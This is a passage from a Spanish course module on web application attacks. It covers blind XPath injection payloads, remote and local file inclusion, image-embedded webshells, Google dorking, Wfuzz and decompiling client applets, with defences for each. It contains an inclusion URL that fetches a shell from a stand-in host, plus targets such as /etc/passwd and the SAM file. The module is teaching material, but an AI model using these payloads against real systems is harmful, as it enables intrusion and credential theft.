Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
